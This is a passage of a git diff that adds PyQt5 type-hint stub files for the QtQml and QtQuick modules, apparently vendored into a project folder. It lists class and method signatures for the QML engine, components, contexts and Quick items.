type: QQmlEngine.ObjectOwnership + JavaScriptOwnership = ... # type: QQmlEngine.ObjectOwnership + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def singletonInstance(self, qmlTypeId: int) -> QtCore.QObject: ... + def retranslate(self) -> None: ... + def offlineStorageDatabaseFilePath(self, databaseName: str) -> str: ... + def exit(self, retCode: int) -> None: ... + def warnings(self, warnings: typing.Iterable['QQmlError']) -> None: ... + def quit(self) -> None: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + @staticmethod + def objectOwnership(a0: QtCore.QObject) -> 'QQmlEngine.ObjectOwnership': ... + @staticmethod + def setObjectOwnership(a0: QtCore.QObject, a1: 'QQmlEngine.ObjectOwnership') -> None: ... + @staticmethod + def setContextForObject(a0: QtCore.QObject, a1: 'QQmlContext') -> None: ... + @staticmethod + def contextForObject(a0: QtCore.QObject) -> 'QQmlContext': ... + def setOutputWarningsToStandardError(self, a0: bool) -> None: ... + def outputWarningsToStandardError(self) -> bool: ... + def setBaseUrl(self, a0: QtCore.QUrl) -> None: ... + def baseUrl(self) -> QtCore.QUrl: ... + def offlineStoragePath(self) -> str: ... + def setOfflineStoragePath(self, dir: str) -> None: ... + def incubationController(self) -> 'QQmlIncubationController': ... + def setIncubationController(self, a0: 'QQmlIncubationController') -> None: ... + def removeImageProvider(self, id: str) -> None: ... + def imageProvider(self, id: str) -> 'QQmlImageProviderBase': ... + def addImageProvider(self, id: str, a1: 'QQmlImageProviderBase') -> None: ... + def networkAccessManager(self) -> QtNetwork.QNetworkAccessManager: ... + def networkAccessManagerFactory(self) -> 'QQmlNetworkAccessManagerFactory': ... + def setNetworkAccessManagerFactory(self, a0: 'QQmlNetworkAccessManagerFactory') -> None: ... + def importPlugin(self, filePath: str, uri: str, errors: typing.Iterable['QQmlError']) -> bool: ... + def addNamedBundle(self, name: str, fileName: str) -> bool: ... + def addPluginPath(self, dir: str) -> None: ... + def setPluginPathList(self, paths: typing.Iterable[str]) -> None: ... + def pluginPathList(self) -> typing.List[str]: ... + def addImportPath(self, dir: str) -> None: ... + def setImportPathList(self, paths: typing.Iterable[str]) -> None: ... + def importPathList(self) -> typing.List[str]: ... + def trimComponentCache(self) -> None: ... + def clearComponentCache(self) -> None: ... + def rootContext(self) -> 'QQmlContext': ... + + +class QQmlApplicationEngine(QQmlEngine): + + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, url: QtCore.QUrl, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, filePath: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def objectCreated(self, object: QtCore.QObject, url: QtCore.QUrl) -> None: ... + def setInitialProperties(self, initialProperties: typing.Dict[str, typing.Any]) -> None: ... + def loadData(self, data: typing.Union[QtCore.QByteArray, bytes, bytearray], url: QtCore.QUrl = ...) -> None: ... + @typing.overload + def load(self, url: QtCore.QUrl) -> None: ... + @typing.overload + def load(self, filePath: str) -> None: ... + def rootObjects(self) -> typing.List[QtCore.QObject]: ... + + +class QQmlComponent(QtCore.QObject): + + class Status(int): + Null = ... # type: QQmlComponent.Status + Ready = ... # type: QQmlComponent.Status + Loading = ... # type: QQmlComponent.Status + Error = ... # type: QQmlComponent.Status + + class CompilationMode(int): + PreferSynchronous = ... # type: QQmlComponent.CompilationMode + Asynchronous = ... # type: QQmlComponent.CompilationMode + + @typing.overload + def __init__(self, a0: QQmlEngine, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, a0: QQmlEngine, fileName: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, a0: QQmlEngine, fileName: str, mode: 'QQmlComponent.CompilationMode', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, a0: QQmlEngine, url: QtCore.QUrl, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, a0: QQmlEngine, url: QtCore.QUrl, mode: 'QQmlComponent.CompilationMode', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setInitialProperties(self, component: QtCore.QObject, properties: typing.Dict[str, typing.Any]) -> None: ... + def engine(self) -> QQmlEngine: ... + def progressChanged(self, a0: float) -> None: ... + def statusChanged(self, a0: 'QQmlComponent.Status') -> None: ... + def setData(self, a0: typing.Union[QtCore.QByteArray, bytes, bytearray], baseUrl: QtCore.QUrl) -> None: ... + @typing.overload + def loadUrl(self, url: QtCore.QUrl) -> None: ... + @typing.overload + def loadUrl(self, url: QtCore.QUrl, mode: 'QQmlComponent.CompilationMode') -> None: ... + def creationContext(self) -> 'QQmlContext': ... + def completeCreate(self) -> None: ... + def beginCreate(self, a0: 'QQmlContext') -> QtCore.QObject: ... + def createWithInitialProperties(self, initialProperties: typing.Dict[str, typing.Any], context: typing.Optional['QQmlContext'] = ...) -> QtCore.QObject: ... + @typing.overload + def create(self, context: typing.Optional['QQmlContext'] = ...) -> QtCore.QObject: ... + @typing.overload + def create(self, a0: 'QQmlIncubator', context: typing.Optional['QQmlContext'] = ..., forContext: typing.Optional['QQmlContext'] = ...) -> None: ... + def url(self) -> QtCore.QUrl: ... + def progress(self) -> float: ... + def errors(self) -> typing.List['QQmlError']: ... + def isLoading(self) -> bool: ... + def isError(self) -> bool: ... + def isReady(self) -> bool: ... + def isNull(self) -> bool: ... + def status(self) -> 'QQmlComponent.Status': ... + + +class QQmlContext(QtCore.QObject): + + class PropertyPair(sip.simplewrapper): + + name = ... # type: str + value = ... # type: typing.Any + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlContext.PropertyPair') -> None: ... + + @typing.overload + def __init__(self, engine: QQmlEngine, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, parentContext: 'QQmlContext', parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def setContextProperties(self, properties: typing.Iterable['QQmlContext.PropertyPair']) -> None: ... + def baseUrl(self) -> QtCore.QUrl: ... + def setBaseUrl(self, a0: QtCore.QUrl) -> None: ... + def resolvedUrl(self, a0: QtCore.QUrl) -> QtCore.QUrl: ... + def nameForObject(self, a0: QtCore.QObject) -> str: ... + @typing.overload + def setContextProperty(self, a0: str, a1: QtCore.QObject) -> None: ... + @typing.overload + def setContextProperty(self, a0: str, a1: typing.Any) -> None: ... + def contextProperty(self, a0: str) -> typing.Any: ... + def setContextObject(self, a0: QtCore.QObject) -> None: ... + def contextObject(self) -> QtCore.QObject: ... + def parentContext(self) -> 'QQmlContext': ... + def engine(self) -> QQmlEngine: ... + def isValid(self) -> bool: ... + + +class QQmlImageProviderBase(PyQt5.sip.wrapper): + + class Flag(int): + ForceAsynchronousImageLoading = ... # type: QQmlImageProviderBase.Flag + + class ImageType(int): + Image = ... # type: QQmlImageProviderBase.ImageType + Pixmap = ... # type: QQmlImageProviderBase.ImageType + Texture = ... # type: QQmlImageProviderBase.ImageType + ImageResponse = ... # type: QQmlImageProviderBase.ImageType + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QQmlImageProviderBase.Flags', 'QQmlImageProviderBase.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlImageProviderBase.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QQmlImageProviderBase.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + def __init__(self, a0: 'QQmlImageProviderBase') -> None: ... + + def flags(self) -> 'QQmlImageProviderBase.Flags': ... + def imageType(self) -> 'QQmlImageProviderBase.ImageType': ... + + +class QQmlError(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlError') -> None: ... + + def setMessageType(self, messageType: QtCore.QtMsgType) -> None: ... + def messageType(self) -> QtCore.QtMsgType: ... + def setObject(self, a0: QtCore.QObject) -> None: ... + def object(self) -> QtCore.QObject: ... + def toString(self) -> str: ... + def setColumn(self, a0: int) -> None: ... + def column(self) -> int: ... + def setLine(self, a0: int) -> None: ... + def line(self) -> int: ... + def setDescription(self, a0: str) -> None: ... + def description(self) -> str: ... + def setUrl(self, a0: QtCore.QUrl) -> None: ... + def url(self) -> QtCore.QUrl: ... + def isValid(self) -> bool: ... + + +class QQmlExpression(QtCore.QObject): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: QQmlContext, a1: QtCore.QObject, a2: str, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlScriptString', context: typing.Optional[QQmlContext] = ..., scope: typing.Optional[QtCore.QObject] = ..., parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def valueChanged(self) -> None: ... + def evaluate(self) -> typing.Tuple[typing.Any, bool]: ... + def error(self) -> QQmlError: ... + def clearError(self) -> None: ... + def hasError(self) -> bool: ... + def scopeObject(self) -> QtCore.QObject: ... + def setSourceLocation(self, fileName: str, line: int, column: int = ...) -> None: ... + def columnNumber(self) -> int: ... + def lineNumber(self) -> int: ... + def sourceFile(self) -> str: ... + def setNotifyOnValueChanged(self, a0: bool) -> None: ... + def notifyOnValueChanged(self) -> bool: ... + def setExpression(self, a0: str) -> None: ... + def expression(self) -> str: ... + def context(self) -> QQmlContext: ... + def engine(self) -> QQmlEngine: ... + + +class QQmlExtensionPlugin(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def baseUrl(self) -> QtCore.QUrl: ... + def initializeEngine(self, engine: QQmlEngine, uri: str) -> None: ... + def registerTypes(self, uri: str) -> None: ... + + +class QQmlEngineExtensionPlugin(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def initializeEngine(self, engine: QQmlEngine, uri: str) -> None: ... + + +class QQmlFileSelector(QtCore.QObject): + + def __init__(self, engine: QQmlEngine, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def selector(self) -> QtCore.QFileSelector: ... + @staticmethod + def get(a0: QQmlEngine) -> 'QQmlFileSelector': ... + def setExtraSelectors(self, strings: typing.Iterable[str]) -> None: ... + def setSelector(self, selector: QtCore.QFileSelector) -> None: ... + + +class QQmlIncubator(sip.simplewrapper): + + class Status(int): + Null = ... # type: QQmlIncubator.Status + Ready = ... # type: QQmlIncubator.Status + Loading = ... # type: QQmlIncubator.Status + Error = ... # type: QQmlIncubator.Status + + class IncubationMode(int): + Asynchronous = ... # type: QQmlIncubator.IncubationMode + AsynchronousIfNested = ... # type: QQmlIncubator.IncubationMode + Synchronous = ... # type: QQmlIncubator.IncubationMode + + def __init__(self, mode: 'QQmlIncubator.IncubationMode' = ...) -> None: ... + + def setInitialState(self, a0: QtCore.QObject) -> None: ... + def statusChanged(self, a0: 'QQmlIncubator.Status') -> None: ... + def setInitialProperties(self, initialProperties: typing.Dict[str, typing.Any]) -> None: ... + def object(self) -> QtCore.QObject: ... + def status(self) -> 'QQmlIncubator.Status': ... + def incubationMode(self) -> 'QQmlIncubator.IncubationMode': ... + def errors(self) -> typing.List[QQmlError]: ... + def isLoading(self) -> bool: ... + def isError(self) -> bool: ... + def isReady(self) -> bool: ... + def isNull(self) -> bool: ... + def forceCompletion(self) -> None: ... + def clear(self) -> None: ... + + +class QQmlIncubationController(sip.simplewrapper): + + def __init__(self) -> None: ... + + def incubatingObjectCountChanged(self, a0: int) -> None: ... + def incubateFor(self, msecs: int) -> None: ... + def incubatingObjectCount(self) -> int: ... + def engine(self) -> QQmlEngine: ... + + +class QQmlListReference(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QObject, property: str, engine: typing.Optional[QQmlEngine] = ...) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlListReference') -> None: ... + + def removeLast(self) -> bool: ... + def replace(self, a0: int, a1: QtCore.QObject) -> bool: ... + def canRemoveLast(self) -> bool: ... + def canReplace(self) -> bool: ... + def count(self) -> int: ... + def clear(self) -> bool: ... + def at(self, a0: int) -> QtCore.QObject: ... + def append(self, a0: QtCore.QObject) -> bool: ... + def isReadable(self) -> bool: ... + def isManipulable(self) -> bool: ... + def canCount(self) -> bool: ... + def canClear(self) -> bool: ... + def canAt(self) -> bool: ... + def canAppend(self) -> bool: ... + def listElementType(self) -> QtCore.QMetaObject: ... + def object(self) -> QtCore.QObject: ... + def isValid(self) -> bool: ... + + +class QQmlNetworkAccessManagerFactory(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlNetworkAccessManagerFactory') -> None: ... + + def create(self, parent: QtCore.QObject) -> QtNetwork.QNetworkAccessManager: ... + + +class QQmlParserStatus(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlParserStatus') -> None: ... + + def componentComplete(self) -> None: ... + def classBegin(self) -> None: ... + + +class QQmlProperty(sip.simplewrapper): + + class Type(int): + Invalid = ... # type: QQmlProperty.Type + Property = ... # type: QQmlProperty.Type + SignalProperty = ... # type: QQmlProperty.Type + + class PropertyTypeCategory(int): + InvalidCategory = ... # type: QQmlProperty.PropertyTypeCategory + List = ... # type: QQmlProperty.PropertyTypeCategory + Object = ... # type: QQmlProperty.PropertyTypeCategory + Normal = ... # type: QQmlProperty.PropertyTypeCategory + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QObject) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QObject, a1: QQmlContext) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QObject, a1: QQmlEngine) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QObject, a1: str) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QObject, a1: str, a2: QQmlContext) -> None: ... + @typing.overload + def __init__(self, a0: QtCore.QObject, a1: str, a2: QQmlEngine) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlProperty') -> None: ... + + def method(self) -> QtCore.QMetaMethod: ... + def property(self) -> QtCore.QMetaProperty: ... + def index(self) -> int: ... + def object(self) -> QtCore.QObject: ... + def isResettable(self) -> bool: ... + def isDesignable(self) -> bool: ... + def isWritable(self) -> bool: ... + @typing.overload + def connectNotifySignal(self, slot: PYQT_SLOT) -> bool: ... + @typing.overload + def connectNotifySignal(self, dest: QtCore.QObject, method: int) -> bool: ... + def needsNotifySignal(self) -> bool: ... + def hasNotifySignal(self) -> bool: ... + def reset(self) -> bool: ... + @typing.overload + def write(self, a0: typing.Any) -> bool: ... + @typing.overload + @staticmethod + def write(a0: QtCore.QObject, a1: str, a2: typing.Any) -> bool: ... + @typing.overload + @staticmethod + def write(a0: QtCore.QObject, a1: str, a2: typing.Any, a3: QQmlContext) -> bool: ... + @typing.overload + @staticmethod + def write(a0: QtCore.QObject, a1: str, a2: typing.Any, a3: QQmlEngine) -> bool: ... + @typing.overload + def read(self) -> typing.Any: ... + @typing.overload + @staticmethod + def read(a0: QtCore.QObject, a1: str) -> typing.Any: ... + @typing.overload + @staticmethod + def read(a0: QtCore.QObject, a1: str, a2: QQmlContext) -> typing.Any: ... + @typing.overload + @staticmethod + def read(a0: QtCore.QObject, a1: str, a2: QQmlEngine) -> typing.Any: ... + def name(self) -> str: ... + def propertyTypeName(self) -> str: ... + def propertyTypeCategory(self) -> 'QQmlProperty.PropertyTypeCategory': ... + def propertyType(self) -> int: ... + def isSignalProperty(self) -> bool: ... + def isProperty(self) -> bool: ... + def isValid(self) -> bool: ... + def type(self) -> 'QQmlProperty.Type': ... + def __hash__(self) -> int: ... + + +class QQmlPropertyMap(QtCore.QObject): + + def __init__(self, parent: typing.Optional[QtCore.QObject] = ...) -> None: ... + + def updateValue(self, key: str, input: typing.Any) -> typing.Any: ... + def valueChanged(self, key: str, value: typing.Any) -> None: ... + def __getitem__(self, key: str) -> typing.Any: ... + def contains(self, key: str) -> bool: ... + def isEmpty(self) -> bool: ... + def __len__(self) -> int: ... + def size(self) -> int: ... + def count(self) -> int: ... + def keys(self) -> typing.List[str]: ... + def clear(self, key: str) -> None: ... + def insert(self, key: str, value: typing.Any) -> None: ... + def value(self, key: str) -> typing.Any: ... + + +class QQmlPropertyValueSource(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlPropertyValueSource') -> None: ... + + def setTarget(self, a0: QQmlProperty) -> None: ... + + +class QQmlScriptString(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, a0: 'QQmlScriptString') -> None: ... + + def booleanLiteral(self) -> typing.Tuple[bool, bool]: ... + def numberLiteral(self) -> typing.Tuple[float, bool]: ... + def stringLiteral(self) -> str: ... + def isNullLiteral(self) -> bool: ... + def isUndefinedLiteral(self) -> bool: ... + def isEmpty(self) -> bool: ... + + +@typing.overload +def qmlRegisterUncreatableType(a0: type, uri: str, major: int, minor: int, qmlName: str, reason: str) -> int: ... +@typing.overload +def qmlRegisterUncreatableType(a0: type, revision: int, uri: str, major: int, minor: int, qmlName: str, reason: str) -> int: ... +@typing.overload +def qmlRegisterType(url: QtCore.QUrl, uri: str, major: int, minor: int, qmlName: str) -> int: ... +@typing.overload +def qmlRegisterType(a0: type, attachedProperties: type = ...) -> int: ... +@typing.overload +def qmlRegisterType(a0: type, uri: str, major: int, minor: int, qmlName: str, attachedProperties: type = ...) -> int: ... +@typing.overload +def qmlRegisterType(a0: type, revision: int, uri: str, major: int, minor: int, qmlName: str, attachedProperties: type = ...) -> int: ... +@typing.overload +def qmlRegisterSingletonType(url: QtCore.QUrl, uri: str, major: int, minor: int, qmlName: str) -> int: ... +@typing.overload +def qmlRegisterSingletonType(a0: type, uri: str, major: int, minor: int, typeName: str, factory: typing.Callable[[QQmlEngine, QJSEngine], typing.Any]) -> int: ... +def qmlRegisterRevision(a0: type, revision: int, uri: str, major: int, minor: int, attachedProperties: type = ...) -> int: ... +def qmlAttachedPropertiesObject(a0: type, object: QtCore.QObject, create: bool = ...) -> QtCore.QObject: ... +def qjsEngine(a0: QtCore.QObject) -> QJSEngine: ... +def qmlTypeId(uri: str, versionMajor: int, versionMinor: int, qmlName: str) -> int: ... +def qmlClearTypeRegistrations() -> None: ... diff --git a/OTHERS/Jarvis/ools/PyQt5/QtQuick.pyi b/OTHERS/Jarvis/ools/PyQt5/QtQuick.pyi new file mode 100644 index 00000000..16d5a67f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/QtQuick.pyi @@ -0,0 +1,1582 @@ +# The PEP 484 type hints stub file for the QtQuick module. +# +# Generated by SIP 6.4.0 +# +# Copyright (c) 2021 Riverbank Computing Limited +# +# This file is part of PyQt5. +# +# This file may be used under the terms of the GNU General Public License +# version 3.0 as published by the Free Software Foundation and appearing in +# the file LICENSE included in the packaging of this file. Please review the +# following information to ensure the GNU General Public License version 3.0 +# requirements will be met: http://www.gnu.org/copyleft/gpl.html. +# +# If you do not wish to use this file under the terms of the GPL version 3.0 +# then you may purchase a commercial license. For more information contact +# info@riverbankcomputing.com. +# +# This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +# WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +import typing + +import PyQt5.sip + +from PyQt5 import QtQml +from PyQt5 import QtGui +from PyQt5 import QtCore + +# Support for QDate, QDateTime and QTime. +import datetime + +# Convenient type aliases. +PYQT_SIGNAL = typing.Union[QtCore.pyqtSignal, QtCore.pyqtBoundSignal] +PYQT_SLOT = typing.Union[typing.Callable[..., None], QtCore.pyqtBoundSignal] + +# Convenient aliases for complicated OpenGL types. +PYQT_OPENGL_ARRAY = typing.Union[typing.Sequence[int], typing.Sequence[float], + PyQt5.sip.Buffer, None] +PYQT_OPENGL_BOUND_ARRAY = typing.Union[typing.Sequence[int], + typing.Sequence[float], PyQt5.sip.Buffer, int, None] + + +class QQuickItem(QtCore.QObject, QtQml.QQmlParserStatus): + + class TransformOrigin(int): + TopLeft = ... # type: QQuickItem.TransformOrigin + Top = ... # type: QQuickItem.TransformOrigin + TopRight = ... # type: QQuickItem.TransformOrigin + Left = ... # type: QQuickItem.TransformOrigin + Center = ... # type: QQuickItem.TransformOrigin + Right = ... # type: QQuickItem.TransformOrigin + BottomLeft = ... # type: QQuickItem.TransformOrigin + Bottom = ... # type: QQuickItem.TransformOrigin + BottomRight = ... # type: QQuickItem.TransformOrigin + + class ItemChange(int): + ItemChildAddedChange = ... # type: QQuickItem.ItemChange + ItemChildRemovedChange = ... # type: QQuickItem.ItemChange + ItemSceneChange = ... # type: QQuickItem.ItemChange + ItemVisibleHasChanged = ... # type: QQuickItem.ItemChange + ItemParentHasChanged = ... # type: QQuickItem.ItemChange + ItemOpacityHasChanged = ... # type: QQuickItem.ItemChange + ItemActiveFocusHasChanged = ... # type: QQuickItem.ItemChange + ItemRotationHasChanged = ... # type: QQuickItem.ItemChange + ItemAntialiasingHasChanged = ... # type: QQuickItem.ItemChange + ItemDevicePixelRatioHasChanged = ... # type: QQuickItem.ItemChange + ItemEnabledHasChanged = ... # type: QQuickItem.ItemChange + + class Flag(int): + ItemClipsChildrenToShape = ... # type: QQuickItem.Flag + ItemAcceptsInputMethod = ... # type: QQuickItem.Flag + ItemIsFocusScope = ... # type: QQuickItem.Flag + ItemHasContents = ... # type: QQuickItem.Flag + ItemAcceptsDrops = ... # type: QQuickItem.Flag + + class Flags(sip.simplewrapper): + + @typing.overload + def __init__(self) -> None: ... + @typing.overload + def __init__(self, f: typing.Union['QQuickItem.Flags', 'QQuickItem.Flag']) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuickItem.Flags') -> None: ... + + def __hash__(self) -> int: ... + def __bool__(self) -> int: ... + def __invert__(self) -> 'QQuickItem.Flags': ... + def __index__(self) -> int: ... + def __int__(self) -> int: ... + + class ItemChangeData(sip.simplewrapper): + + boolValue = ... # type: bool + item = ... # type: 'QQuickItem' + realValue = ... # type: float + window = ... # type: 'QQuickWindow' + + @typing.overload + def __init__(self, v: 'QQuickItem') -> None: ... + @typing.overload + def __init__(self, v: 'QQuickWindow') -> None: ... + @typing.overload + def __init__(self, v: float) -> None: ... + @typing.overload + def __init__(self, v: bool) -> None: ... + @typing.overload + def __init__(self, a0: 'QQuickItem.ItemChangeData') -> None: ... + + class UpdatePaintNodeData(sip.simplewrapper): + + transformNode = ... # type: 'QSGTransformNode' + + def __init__(self, a0: 'QQuickItem.UpdatePaintNodeData') -> None: ... + + def __init__(self, parent: typing.Optional['QQuickItem'] = ...) -> None: ... + + def containmentMaskChanged(self) -> None: ... + def setContainmentMask(self, mask: QtCore.QObject) -> None: ... + def containmentMask(self) -> QtCore.QObject: ... + def setAcceptTouchEvents(self, accept: bool) -> None: ... + def acceptTouchEvents(self) -> bool: ... + def size(self) -> QtCore.QSizeF: ... + def mapFromGlobal(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def mapToGlobal(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def isAncestorOf(self, child: 'QQuickItem') -> bool: ... + def grabToImage(self, targetSize: QtCore.QSize = ...) -> 'QQuickItemGrabResult': ... + def resetAntialiasing(self) -> None: ... + def windowChanged(self, window: 'QQuickWindow') -> None: ... + def nextItemInFocusChain(self, forward: bool = ...) -> 'QQuickItem': ... + def setActiveFocusOnTab(self, a0: bool) -> None: ... + def activeFocusOnTab(self) -> bool: ... + def updatePolish(self) -> None: ... + def releaseResources(self) -> None: ... + def updatePaintNode(self, a0: 'QSGNode', a1: 'QQuickItem.UpdatePaintNodeData') -> 'QSGNode': ... + def geometryChanged(self, newGeometry: QtCore.QRectF, oldGeometry: QtCore.QRectF) -> None: ... + def childMouseEventFilter(self, a0: 'QQuickItem', a1: QtCore.QEvent) -> bool: ... + def dropEvent(self, a0: QtGui.QDropEvent) -> None: ... + def dragLeaveEvent(self, a0: QtGui.QDragLeaveEvent) -> None: ... + def dragMoveEvent(self, a0: QtGui.QDragMoveEvent) -> None: ... + def dragEnterEvent(self, a0: QtGui.QDragEnterEvent) -> None: ... + def hoverLeaveEvent(self, event: QtGui.QHoverEvent) -> None: ... + def hoverMoveEvent(self, event: QtGui.QHoverEvent) -> None: ... + def hoverEnterEvent(self, event: QtGui.QHoverEvent) -> None: ... + def touchEvent(self, event: QtGui.QTouchEvent) -> None: ... + def wheelEvent(self, event: QtGui.QWheelEvent) -> None: ... + def touchUngrabEvent(self) -> None: ... + def mouseUngrabEvent(self) -> None: ... + def mouseDoubleClickEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mouseReleaseEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mouseMoveEvent(self, event: QtGui.QMouseEvent) -> None: ... + def mousePressEvent(self, event: QtGui.QMouseEvent) -> None: ... + def focusOutEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def focusInEvent(self, a0: QtGui.QFocusEvent) -> None: ... + def inputMethodEvent(self, a0: QtGui.QInputMethodEvent) -> None: ... + def keyReleaseEvent(self, event: QtGui.QKeyEvent) -> None: ... + def keyPressEvent(self, event: QtGui.QKeyEvent) -> None: ... + def componentComplete(self) -> None: ... + def classBegin(self) -> None: ... + def heightValid(self) -> bool: ... + def widthValid(self) -> bool: ... + def updateInputMethod(self, queries: typing.Union[QtCore.Qt.InputMethodQueries, QtCore.Qt.InputMethodQuery] = ...) -> None: ... + def itemChange(self, a0: 'QQuickItem.ItemChange', a1: 'QQuickItem.ItemChangeData') -> None: ... + def isComponentComplete(self) -> bool: ... + def event(self, a0: QtCore.QEvent) -> bool: ... + def update(self) -> None: ... + def textureProvider(self) -> 'QSGTextureProvider': ... + def isTextureProvider(self) -> bool: ... + def inputMethodQuery(self, query: QtCore.Qt.InputMethodQuery) -> typing.Any: ... + def childAt(self, x: float, y: float) -> 'QQuickItem': ... + @typing.overload + def forceActiveFocus(self) -> None: ... + @typing.overload + def forceActiveFocus(self, reason: QtCore.Qt.FocusReason) -> None: ... + def polish(self) -> None: ... + def mapRectFromScene(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + def mapRectFromItem(self, item: 'QQuickItem', rect: QtCore.QRectF) -> QtCore.QRectF: ... + def mapFromScene(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def mapFromItem(self, item: 'QQuickItem', point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def mapRectToScene(self, rect: QtCore.QRectF) -> QtCore.QRectF: ... + def mapRectToItem(self, item: 'QQuickItem', rect: QtCore.QRectF) -> QtCore.QRectF: ... + def mapToScene(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def mapToItem(self, item: 'QQuickItem', point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> QtCore.QPointF: ... + def contains(self, point: typing.Union[QtCore.QPointF, QtCore.QPoint]) -> bool: ... + def setKeepTouchGrab(self, a0: bool) -> None: ... + def keepTouchGrab(self) -> bool: ... + def ungrabTouchPoints(self) -> None: ... + def grabTouchPoints(self, ids: typing.Iterable[int]) -> None: ... + def setFiltersChildMouseEvents(self, filter: bool) -> None: ... + def filtersChildMouseEvents(self) -> bool: ... + def setKeepMouseGrab(self, a0: bool) -> None: ... + def keepMouseGrab(self) -> bool: ... + def ungrabMouse(self) -> None: ... + def grabMouse(self) -> None: ... + def unsetCursor(self) -> None: ... + def setCursor(self, cursor: typing.Union[QtGui.QCursor, QtCore.Qt.CursorShape]) -> None: ... + def cursor(self) -> QtGui.QCursor: ... + def setAcceptHoverEvents(self, enabled: bool) -> None: ... + def acceptHoverEvents(self) -> bool: ... + def setAcceptedMouseButtons(self, buttons: typing.Union[QtCore.Qt.MouseButtons, QtCore.Qt.MouseButton]) -> None: ... + def acceptedMouseButtons(self) -> QtCore.Qt.MouseButtons: ... + def scopedFocusItem(self) -> 'QQuickItem': ... + def isFocusScope(self) -> bool: ... + @typing.overload + def setFocus(self, a0: bool) -> None: ... + @typing.overload + def setFocus(self, focus: bool, reason: QtCore.Qt.FocusReason) -> None: ... + def hasFocus(self) -> bool: ... + def hasActiveFocus(self) -> bool: ... + def setFlags(self, flags: typing.Union['QQuickItem.Flags', 'QQuickItem.Flag']) -> None: ... + def setFlag(self, flag: 'QQuickItem.Flag', enabled: bool = ...) -> None: ... + def flags(self) -> 'QQuickItem.Flags': ... + def setAntialiasing(self, a0: bool) -> None: ... + def antialiasing(self) -> bool: ... + def setSmooth(self, a0: bool) -> None: ... + def smooth(self) -> bool: ... + def setEnabled(self, a0: bool) -> None: ... + def isEnabled(self) -> bool: ... + def setVisible(self, a0: bool) -> None: ... + def isVisible(self) -> bool: ... + def setOpacity(self, a0: float) -> None: ... + def opacity(self) -> float: ... + def setScale(self, a0: float) -> None: ... + def scale(self) -> float: ... + def setRotation(self, a0: float) -> None: ... + def rotation(self) -> float: ... + def setZ(self, a0: float) -> None: ... + def z(self) -> float: ... + def setTransformOrigin(self, a0: 'QQuickItem.TransformOrigin') -> None: ... + def transformOrigin(self) -> 'QQuickItem.TransformOrigin': ... + def implicitHeight(self) -> float: ... + def setImplicitHeight(self, a0: float) -> None: ... + def resetHeight(self) -> None: ... + def setHeight(self, a0: float) -> None: ... + def height(self) -> float: ... + def implicitWidth(self) -> float: ... + def setImplicitWidth(self, a0: float) -> None: ... + def resetWidth(self) -> None: ... + def setWidth(self, a0: float) -> None: ... + 